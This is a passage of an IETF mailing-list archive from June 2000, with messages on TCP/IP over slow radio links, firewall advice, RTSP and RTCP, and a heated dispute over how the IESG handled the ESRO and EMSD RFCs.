Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <mleech@americasm97.nt.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

RJ Atkinson wrote:
> 
> At 15:21 26/06/00 , Vernon Schryver wrote:
> >   - persistently, unbendingly claiming that 14000 bit/sec is a bit rate
> >    that is radically lower than anything ever before used for TCP/IP.
> 
>          Those of us who have run voice over IP over 9600 bps HF radio
> find the above claim particularly amusing.  (By the way, there
> are deployed uses of voice over IP over 9600 bps HF radio today.  :-)
> 
My first use of TCP/IP over radio was at 1200bps--although I admit that
  I didn't use it for VoIP :-) :-)

-- 
----------------------------------------------------------------------
Marcus Leech                             Mail:   Dept 8M70, MS 012, FITZ
Advisor                                  Phone: (ESN) 393-9145  +1 613 763 9145
Security Architecture and Planning       Fax:   (ESN) 395-1407  +1 613 763 9435
Nortel Networks                          mleech@nortelnetworks.com
-----------------Expressed opinions are my own, not my employer's------



From owner-ietf-outbound  Tue Jun 27 09:51:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA12459
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 09:50:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA12261
	for <ietf@ietf.org>; Tue, 27 Jun 2000 09:43:32 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5RDhUP21880;
	Tue, 27 Jun 2000 09:43:30 -0400
Message-Id: <200006271343.e5RDhUP21880@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Don Balunos <don.balunos@neuronet.com.my>
Cc: ietf@ietf.org
Subject: Re: Firewall System 
In-Reply-To: Your message of "Tue, 27 Jun 2000 19:29:39 +0800."
             <003901bfe02a$fb651fe0$75f0a8c0@don> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <003901bfe02a$fb651fe0$75f0a8c0@don>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_595806604P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 27 Jun 2000 09:43:29 -0400
X-Loop: ietf@ietf.org

--==_Exmh_595806604P
Content-Type: text/plain; charset=us-ascii

On Tue, 27 Jun 2000 19:29:39 +0800, Don Balunos <don.balunos@neuronet.com.my>  said:
> now i'm out-sourcing a best firewall system for our company so can =
> anyone help me on this.

First off, you didn't specify how "best" was defined.  The "best" solution
will depend on a lot of things, including organization size, type of business,
connectivity required (both total bandwidth and number/types of ports/protocols
needed).  I've seen very effective firewalls constructed out of an old PC
with a 386 chip, an ethernet card, and a 56K modem running KA9Q.  I've seen
similar gear running Linux with 'ipchains' filtering.  Both of those would
melt down in our routing swamp if forced to drink from our multiple OC12s.

Secondly, to paraphrase the breakfast cereal companies, "Firewalls are
a part of a *complete and balanced* security breakfast".  Note that the
recent rash of Outlook e-mail based viruses had *no* problem penetrating
most firewalls, and a similar attack could easily install a back-channel
trojan that connects back to the attacker from within....

If your organization thinks that a firewall will "solve" any security problems,
they are in for a seriously rude awakening.  If they're approaching it as
*one part* of an *overall* security scheme, that's a different story...

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_595806604P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVivgXAt5Vm009ewEQJe4wCg8e88dW2pH5lEaiZ6XKyjhED4XtEAoJdg
dREL1904/rygBMcWtqM2BZG4
=umhA
-----END PGP SIGNATURE-----

--==_Exmh_595806604P--



From owner-ietf-outbound  Tue Jun 27 11:00:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA14451
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:00:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA14406
	for <ietf@ietf.org>; Tue, 27 Jun 2000 10:58:18 -0400 (EDT)
Received: (qmail 15536 invoked by uid 100); 27 Jun 2000 14:56:28 -0000
Date: 27 Jun 2000 14:56:28 -0000
Message-ID: <20000627145628.15535.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Cc: Patrik =?ISO-8859-1?Q?F=E4ltstr=F6m?= <paf@SWIP.NET>,
        Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: Re: ESRO (RE: WAP and IP)
In-Reply-To: <4.3.2.7.2.20000626080659.03273ef8@dokka.kvatro.no>
References: <p04320412b57a070c8adf@[10.0.1.2]>
	<200006222310.RAA15677@calcite.rhyolite.com>
	<20000624003117.298.qmail@tooran.byname.net>
	<20000626053015.10590.qmail@tooran.byname.net>
	<4.3.2.7.2.20000626080659.03273ef8@dokka.kvatro.no>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Mon, 26 Jun 2000 08:23:41 +0200, Harald Tveit Alvestrand <Harald@Alvestrand.no> said:

  Harald> At 05:30 26.06.2000 +0000, Mohsen BANAN-Public wrote:
  >> The current status, state and beginning date of that example
  >> makes my point.
  >> 
  >> After 7 months of delay, caused by the IESG, ESRO was published
  >> as an RFC in Sept. 1997.

  Harald> History note:

  Harald> ESRO (RFC 2188) was delayed, as far as I remember, because of lack of 
  Harald> response from the authors to IESG comments; this turned out to be because 
  Harald> the author either didn't get them or didn't think/understand that a 
  Harald> response was needed.
  Harald> I remember some apologies at the time, and the document was published 
  Harald> without making the changes that the comments (some mine) had asked for.

Completly Wrong!  

One wonders how much of this ("as far as I remember") is intentional.

The complete record of my interactions with the IESG regarding ESRO,
INCLUDING ALL DATES, is on public record.

The entire communication record between the Authors, RFC-Editor and IESG
regarding ESRO are at: http://www.esro.org/communicationRecord/index.html

Also, the full text of the Complaint against the IESG and the RFC-Editor is
available at: http://www.esro.org/complaint-2188/one/main.html

Anyone may review these records to determine very quickly exaclty who
was responding promptly, and who was causing the delay. I invite Mr.
Alverstrand to refresh his memory by reviewing these records.

He will quickly discover the following incontrovertible and historical
facts:

The ESRO RFC was submitted to the RFC-Editor on Jan 11, 97. Harald
Tveit Alvestrand's *ONLY* e-mail forwarded to the Authors was dated
8/18/1997. I responded to his e-mail on the same day I received it. In
all cases I responded promptly and as required to all comments and
queries from the IESG and the RFC Editor. As the record shows, it is
they who were the cause of the delay.

The fact that a lot went wrong in the case of publication of RFC-2188
is well-known. Steve Coya and Scott Brander have acknowledged that
there were a number of problems and have apologized for them:


  Scott Bradner> ... the iesg fucked up and I'm trying to fix the issue  ...

  Steve Coya> You DO have a valid complaint, but not with the RFC Editors.

  Scott Bradner> ...  As I said things slipped through
  Scott Bradner> the cracks and I am sorry that happened. ...

And then after all this, at the very last minute, without my knowledge
or approval, the IESG inserted their critical note in RFC-2188.


  Harald> ESRO was published without significant input from the IETF community, and 
  Harald> has some aspects that I consider rather stupid (tied to a single UDP port 
  Harald> number (4.6.3), use of a THREE-bit transport selector (4.4.1) and total 
  Harald> lack of discussion of congestion control), but did not face significant 
  Harald> opposition in the IESG.

An inability to understand the design of ESRO might be characterized
as rather stupid.

Other UDP ports can be used. There is nothing in the design of ESRO
that limits UDP port usage. This much is obvious. In fact EMSD uses
its own UDP port. Other Efficient Applictions can use other UDP ports
with ESRO. That was part of our design. There is no shortage of UDP ports. 

On a per application basis, 8 transport selectors is more than
adequate. Look at EMSD to learn how that can be done.

Those are not scalability limitations. You simply did not understand
our design.

Discussion of congestion control in the ESRO context is
a complicated issue.

However, if we want to have a meaningful discussion of these technical
issues, the general IETF mailing list is not the right place. I have
gone over these issues with you and others several times before. If
you want to learn more, please subscribe to
mailto:esro-spec@lists.esro.org and ask your questions there.


  Harald> It's EMSD (RFC 2524) that was considered by the IESG to be bad enough that 
  Harald> it was labelled with an IESG warning containing sentences like "makes EMSD 
  Harald> completely unsuitable for end-to-end use across the public Internet", and 
  Harald> seemingly earned the IESG the permanent enmity of Mohsen Banan.

The entire communication record between the Authors, RFC-Editor and IESG
regarding EMSD are at: 
http://www.emsd.org/communicationRecord/2524Publication/maillist.html

Based on a severe case of Not-Invented-Here, the IESG attempted to
prevent the publication of EMSD (RFC-2524).  Despite their efforts to
quash it, I successfully demonstrated to the RFC-Editor that EMSD
meets the requirements of RFC-2026 and should therefore be
published. The RFC-Editor's own characterization of the IESG note is
that it was "punitive." The insertion of the IESG note in RFC-2026 has
no legitimate or procedural basis whatsoever, and is in complete
violation of the scope and purpose of IESG's role.

To say I have "permanent enmity" towards the IESG is absurd. When
someone experiences delay, double-dealing, misrepresentation and
mistreatment by an organization, it is hardly surprising that they
complain loudly. Based on logic similar to yours, one can then claim
that I seemingly earned the permanent enmity of the IESG and the IESG
Note in RFC-2524 is the IESG's way of dealing with my complaint.

At this point I have no compelling reason to interact with the IESG at
all. My protocol specifications have been published, and I intend to
continue moving forward with their implementations regardless of what
the IESG does or claims. I'll keep you posted as more and more
implementations of LEAP become widespread.


...Mohsen.



From owner-ietf-outbound  Tue Jun 27 11:10:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA14699
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:10:02 -0400 (EDT)
Received: from khumbu.eeng.dcu.ie (khumbu.eeng.dcu.ie [136.206.35.10])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14463
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:00:26 -0400 (EDT)
Received: from obed (eeng.dcu.ie) [136.206.35.14] 
	by khumbu.eeng.dcu.ie with esmtp (Exim 1.82 #1)
	id 136wqg-0006sW-00; Tue, 27 Jun 2000 16:00:26 +0100
Message-ID: <3958C141.BDA737A@eeng.dcu.ie>
Date: Tue, 27 Jun 2000 15:59:13 +0100
From: Nikki Cranley <94426082@eeng.dcu.ie>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "ietf@ietf.org" <ietf@ietf.org>
Subject: RTSP vs RTCP & Layered encoding with multi-RTP channels
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi all!

I am just trying to figure out under which circumstances RTCP is more
appropriate to use than RTSP?

Also, I was thinking about using a layered encoding system to
dynamically adapt the unicast RTP transmission to the network
conditions. For this I would use say 3 or 4 different RTP channels each
sending a portion of the media file and if the network is really busy,
scaling down to just transmitting on the core media channel. For this
idea would it be better to have just the one RTCP channel reporting on
all or one per RTP channel?.

Any opinions/corrections on this would be greatly appreciated!
Rgds,
Nikki



From owner-ietf-outbound  Tue Jun 27 11:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA15114
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:20:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14576
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:02:03 -0400 (EDT)
Received: (qmail 15561 invoked by uid 100); 27 Jun 2000 15:01:23 -0000
Date: 27 Jun 2000 15:01:23 -0000
Message-ID: <20000627150123.15560.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: IETF Mailing List <ietf@ietf.org>
Subject: The Non-IETF Informational RFC Publication Fiction
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org



In 1997, D.J. Bernstein wrote a short note titled:
      
   RFC submission: a case study

The full text of that note is available at
http://cr.yp.to/proto/rfced.html

D.J. Bernstein concluded his case study with the following
paragraph.

----
It's well known that the IETF is no longer the primary source of
progress in Internet engineering. The only respectable activity left
for the IAB, IESG, and IETF is to report what others have done. So I
don't find it at all surprising that the IAB and IESG claim to have an
open document series. Unfortunately, the claim is a lie.
----


Unfortunately the situation has become even worse since 1997.


The Non-IETF Informational RFC Publication process has
now become quite Complex.

It now has a Real component and an Imaginary component.


The Imaginary component is that the process operates according to
Section 4.2.3 of the Internet Standards Process (RFC-2026), where the
RFC-Editor is an independent entity and where the scope and purpose of
the IESG review is limited to what that section spells out.

The Real component is that IETF/IESG/IAB is well on its way towards
becoming a cult violating all published procedures. IETF/IESG/IAB now
claims full ownership of the RFC Publication process and quashes
whatever may want to compete with it or that it does not
like. IETF/IESG/IAB often inserts notes in Non-IETF Informational RFCs
which go above and beyond the scope and purpose of IESG
review. IETF/IESG/IAB often regards the RFC-Editor as merely its
agent. IESG/IAB has become a group of irresponsible volunteers who
consider themselves accountable to no one.


All concerned in this fiction: IETF/IESG/IAB cult leadership, the cult
members themselves, various behind-the-scenes puppeteers, and Internet
groupies appear perfectly happy with both the Real and Imaginary
components of this Complex setup.

I would also be happy if they would just acknowledge that the
Imaginary part is in fact imaginary.


...Mohsen.




From owner-ietf-outbound  Tue Jun 27 11:30:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA15497
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:30:02 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15381
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:27:35 -0400 (EDT)
Received: (qmail 15608 invoked by uid 100); 27 Jun 2000 15:26:52 -0000
Date: 27 Jun 2000 15:26:52 -0000
Message-ID: <20000627152652.15607.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: Patrik =?ISO-8859-1?Q?F=E4ltstr=F6m?= <paf@swip.net>
Cc: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>,
        Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org,
        emsd-spec@lists.emsd.org, esro-spec@lists.esro.org
Subject: Now: A Lesser IESG Is A Better IETF -- Was: RE: WAP and IP
In-Reply-To: <p04320404b57c9d265752@[192.168.124.95]>
References: <200006222310.RAA15677@calcite.rhyolite.com>
	<20000624003117.298.qmail@tooran.byname.net>
	<p04320412b57a070c8adf@[10.0.1.2]>
	<20000626053015.10590.qmail@tooran.byname.net>
	<p04320404b57c9d265752@[192.168.124.95]>
X-Mailer: VM 6.33 under 19.15p7 XEmacs Lucid
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org


>>>>> On Mon, 26 Jun 2000 08:04:34 +0200, Patrik =?iso-8859-1?Q?F=E4ltstr=F6m?=  <paf@swip.net> said:

  >> After 7 months of delay, caused by the IESG, ESRO was published
  >> as an RFC in Sept. 1997.

  Patrik> There have already been enough discussions on the IETF list about 
  Patrik> ESRO. See the archives.

  Patrik> You seem to (once again) ignore the problems with making protocols 
  Patrik> interoperate.

  Patrik> The rest of this discussion exists in the IETF mailing list archives.

There is one remaining issue relating to ESRO which is worth pointing out.

On Nov 10 1998, the IETF Chair -- Fred Baker <fred@cisco.com> -- said:

-------
From: Fred Baker <fred@cisco.com>
To: Mohsen BANAN <mohsen@neda.com>
Cc: IETF Mailing List <ietf@ietf.org>, iesg-secretary@ietf.org, iesg@ietf.org,
        RFC Editor <rfc-ed@isi.edu>, Internet Architecture Board <iab@isi.edu>,
        records@neda.com
Subject: Re: Complaints Against The IESG and The RFC-Editor About Publication of RFC-2188 (ESRO)
Date: Tue, 10 Nov 1998 06:50:00 +0000
Message-Id: <4.0.2.19981109080326.032fb560@flipper.cisco.com>

This is to advise you that I have received your note, and expect to rep=
ly
for the IESG. The basis of that reply will be RFC 2026.

Fred Baker
IETF Chair
-------


I expected the IETF Chair, as representative of the IESG, to be as
good as his public word.

However, more than a year and a half later, I have yet to receive a
reply.  Did I miss something? Where is the promised reply?


  >> - Equal access to RFC Publication Service

  Patrik> This is not possible, as a review process is guaranteeing the quality 
  Patrik> of the work published. For the various tracks, different reviews are 
  Patrik> done. For informational (such as ESRO) the RFC-Editor is deciding 
  Patrik> whether something is good enough, and asks for input from the IESG.

  Patrik> Issues which were discussed heavily regarding your two protocols are:

  Patrik>   - Congestion control
  Patrik>   - Ability to gateway to/from existing standards
  Patrik>   - Internationalization issues
  Patrik>   - Security

If you want to understand the design of EMSD and contribute to its
evolution, join mailto:emsd-spec@lists.emsd.org


  Patrik> See IESG note in the beginning of RFC 2524.

  Patrik> All new protocols have to address those issues, as the experience we 
  Patrik> have with the protocols we have today gives that those issues 
  Patrik> (probably) were not addressed enough in those. Because we made that 
  Patrik> mistake once, we don't want to make the same mistake again. So, the 
  Patrik> IESG asks all people which write new protocols to address the issues 
  Patrik> above (and some others).

In his e-mail Fred Baker said that IESG's response to my complaint
would be based on RFC-2026. In other words, the IETF Chair is stating
that the IESG operates according to RFC-2026.


With respect to Non-IETF Informational RFCs the purpose and scope of
the IESG review and "IESG Note" is well defined in RFC-2026. Untill
this is changed, as an IESG member you are obligated to follow
those procedures. What you have written above is in conflict with
those procedures.

I design my protocols my way. I don't need to be told by the IESG what
is the right way and what is the wrong way and what requirements my
protocols should be addressing.

You and the rest of the IESG may not understand my design and may not
like my design.  With respect to Non-IETF Informational RFC
publication, the scope of your involvement is limited to the situation
in which there is conflict with existing IETF work. Because the IETF
has nothing to offer in the area of Efficient Application Protocols,
no conflict exsist. And therefore, according to RFC-2026 you had no 
legitimate authority to insert that IESG Note.

The notion that the IESG/IAB has any sort of authority to guard the
health of the "Internet" is simply bogus. When such self-proclaimed
guardianship becomes the basis for obstructionism in the Non-IETF
Informational RFC process, we have a serious problem.


Over the past week, my goal has been to focus on "The WAP Trap", "The
Search For Efficient Mobile Messaging Protocols", "LEAP: One
Alternative To WAP" and "The Free Protocols Foundation". There has
been a great deal of interest on the part of the Internet Technical
Community in all of the above.


Part of the above topics may have been considered a challenge of sorts
to IETF/IESG/IAB's monopoly on protocols. The model that I and many
others have adopted for working outside the IETF/IESG/IAB, but based
on  RFC publication, use of IANA, and patent-free Working
Groups, is demonstrating certain deep problems.

These problems are deep rooted.  Others on this list have said that
IETF stands for Innovation Extermination Task Force. That IETF is a
Cult ... Many are concerned that IESG/IAB have become instruments of
big business and standards politicians.

Part of the cure lies in the notions of "Separation of Powers",
"Independence Of Protocol Support Organizations", "Competition", and
"Checks and Balances". The model proposed in the Free Protocols
Foundation Policies and Procedures provides more detail on our
thinking.

Some starting points for improvement include:

  - Complete and total independence for the RFC-Editor function.
    My experience has been that this is simply not the case.

  - Containment of IESG obstructionism in the RFC publication process.

  - Promotion of competition amongst RFC-published protocols.


At this time, it is not my goal to actively champion such reforms.
Therefore my near term active participation in this mailing list is
likely to be limited.

However, I do want to present the LEAP Development Model as a case
study that others may wish to consider and emulate. To that end, it is
likely that when we are ready, I will play a more active role in this
cause.

In the meantime I'll remain hopeful that positive change can come from
within IETF/IESG/IAB and will be watching the IESG/IAB evolution
towards real responsibility with interest.


...Mohsen.



From owner-ietf-outbound  Tue Jun 27 11:40:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA15978
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:40:03 -0400 (EDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA15814
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:38:06 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA04035;
	Tue, 27 Jun 2000 11:38:05 -0400 (EDT)
Sender: hgs@cs.columbia.edu
Message-ID: <3958CA5D.420F46FB@cs.columbia.edu>
Date: Tue, 27 Jun 2000 11:38:05 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Nikki Cranley <94426082@eeng.dcu.ie>
CC: "ietf@ietf.org" <ietf@ietf.org>
Subject: Re: RTSP vs RTCP & Layered encoding with multi-RTP channels
References: <3958C141.BDA737A@eeng.dcu.ie>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Nikki Cranley wrote:
> 
> Hi all!
> 
> I am just trying to figure out under which circumstances RTCP is more
> appropriate to use than RTSP?

Since the two protocols have completely different functionality this
question is about as easy to answer as asking when you would use ICMP
rather than ftp. See http://www.cs.columbia.edu/~hgs/rtp and
http://www.cs.columbia.edu/~hgs/rtsp for some relevant high-level
information.

> 
> Also, I was thinking about using a layered encoding system to
> dynamically adapt the unicast RTP transmission to the network
> conditions. For this I would use say 3 or 4 different RTP channels each
> sending a portion of the media file and if the network is really busy,
> scaling down to just transmitting on the core media channel. For this
> idea would it be better to have just the one RTCP channel reporting on
> all or one per RTP channel?.

This topic has seen many papers in the past few years. The topic is
probably best discussed on the rem-conf@es.net list, the AVT mailing
list.

> 
> Any opinions/corrections on this would be greatly appreciated!
> Rgds,
> Nikki
> 
> -
> This message was passed through ietf+censored@alvestrand.no, which
> is a sublist of ietf@ietf.org. Not all messages are passed.
> Decisions on what to pass are made solely by Harald Alvestrand.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs



From owner-ietf-outbound  Tue Jun 27 11:50:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA16289
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 11:50:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16154
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:46:24 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5RFi3P11666;
	Tue, 27 Jun 2000 11:44:03 -0400
Message-Id: <200006271544.e5RFi3P11666@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.2 06/16/2000 with nmh-1.0.4+dev
To: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
Cc: IETF Mailing List <ietf@ietf.org>
Subject: Re: The Non-IETF Informational RFC Publication Fiction 
In-Reply-To: Your message of "Tue, 27 Jun 2000 15:01:23 -0000."
             <20000627150123.15560.qmail@tooran.byname.net> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <20000627150123.15560.qmail@tooran.byname.net>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1099021636P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 27 Jun 2000 11:44:03 -0400
X-Loop: ietf@ietf.org

--==_Exmh_1099021636P
Content-Type: text/plain; charset=us-ascii

On Tue, 27 Jun 2000 15:01:23 -0000, Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>  said:
> The Real component is that IETF/IESG/IAB is well on its way towards
> becoming a cult violating all published procedures. IETF/IESG/IAB now
> claims full ownership of the RFC Publication process and quashes

Of course it has full ownership.  They're *IETF* RFCs after all.  Just like
Microsoft claims ownership of Microsoft documentation, and the ITU claims
ownership of its recommendations, and the W3C claims ownership of its stuff.

> whatever may want to compete with it or that it does not

Umm.. "quash"?  Recently, we've even handed off HTML to the W3C.
We've not managed to get rid of the ITU, or IEEE, or ANSI yet either.

> like. IETF/IESG/IAB often inserts notes in Non-IETF Informational RFCs
> which go above and beyond the scope and purpose of IESG

Be glad that the RFC's don't get the markup they so often richly deserve.

> review. IETF/IESG/IAB often regards the RFC-Editor as merely its
> agent. IESG/IAB has become a group of irresponsible volunteers who

Umm.. Mohsen?  THe RFC Editor *IS* an agent of the IETF/IESG/IAB. That's
been understood for well over a decade.

1120 Internet Activities Board. V. Cerf. Sep-01-1989. (Format:
     TXT=26123 bytes) (Obsoleted by RFC1160) (Status: INFORMATIONAL)

Read section 2...

That's the last I'm going to say on it - although I was prepared to file
this whole thread under "substantiative disagreement", it's tipped well into
"loon filter time"....
-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech


--==_Exmh_1099021636P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.2 06/16/2000

iQA/AwUBOVjLwnAt5Vm009ewEQIhoACcDlbbs8Hek1UJ+Bi0ZK1UMBXGGy4An3AD
2HEYfTEYKFFD6MPmfbNwcbRC
=zctu
-----END PGP SIGNATURE-----

--==_Exmh_1099021636P--



From owner-ietf-outbound  Tue Jun 27 12:00:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA16647
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 12:00:02 -0400 (EDT)
Received: from rip.psg.com (rip.psg.com [147.28.0.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16204
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:48:19 -0400 (EDT)
Received: from randy by rip.psg.com with local (Exim 3.13 #1)
	id 136xas-000KX1-00; Tue, 27 Jun 2000 08:48:10 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Marcus Leech <mleech@nortelnetworks.com>
Cc: ietf@ietf.org
Subject: Re: WAP and IP
References: <4.2.0.58.20000626230213.0097df10@avarice.inner.net>
	<3958A261.EF386163@nt.com>
Message-Id: <E136xas-000KX1-00@rip.psg.com>
Date: Tue, 27 Jun 2000 08:48:10 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

ok, i was gonna keep out of this.  but there was a time when the entire
academic network of south africa was served by a single 9600 baud slip
connection, later upgraded to 14.4kb ppp.

and i believe there was a direct parallel in the states, though pre-tcp/ip.

randy



From owner-ietf-outbound  Tue Jun 27 12:10:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA17079
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 12:10:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16257
	for <ietf@ietf.org>; Tue, 27 Jun 2000 11:49:51 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04150;
	Tue, 27 Jun 2000 08:48:50 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id PAA03441;
	Tue, 27 Jun 2000 15:48:50 GMT
Date: Tue, 27 Jun 2000 15:48:50 GMT
Message-Id: <200006271548.PAA03441@gra.isi.edu>
To: ietf@ietf.org, public@mohsen.banan.1.byname.net
Subject: Re: The Non-IETF Informational RFC Publication Fiction
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org

  *> 
  *> The Real component is that IETF/IESG/IAB is well on its way towards
  *> becoming a cult violating all published procedures. IETF/IESG/IAB now
  *> claims full ownership of the RFC Publication process and quashes
  *> whatever may want to compete with it or that it does not
  *> like. IETF/IESG/IAB often inserts notes in Non-IETF Informational RFCs
  *> which go above and beyond the scope and purpose of IESG
  *> review. IETF/IESG/IAB often regards the RFC-Editor as merely its
  *> agent. IESG/IAB has become a group of irresponsible volunteers who
  *> consider themselves accountable to no one.
  *> 

Mohsen,

One of the advantages of becoming a geezer is that you get to say what
you REALLY think.  However, good taste prevents my telling you in public
what I REALLY think about your message.

I would like to remind you that, had the RFC Editor been "a mere
agent" of the IESG, your EMSD RFC 2524 would not have been
published at all.

Bob Braden



From owner-ietf-outbound  Tue Jun 27 12:20:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA17328
	for ietf-outbound.10@ietf.org; Tue, 27 Jun 2000 12:20:02 -0400 (EDT)
Received: from mail-gw.hursley.ibm.com (mail-gw.hursley.ibm.com [194.196.110.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17003
	for <ietf@ietf.org>; Tue, 27 Jun 2000 12:08:17 -0400 (EDT)
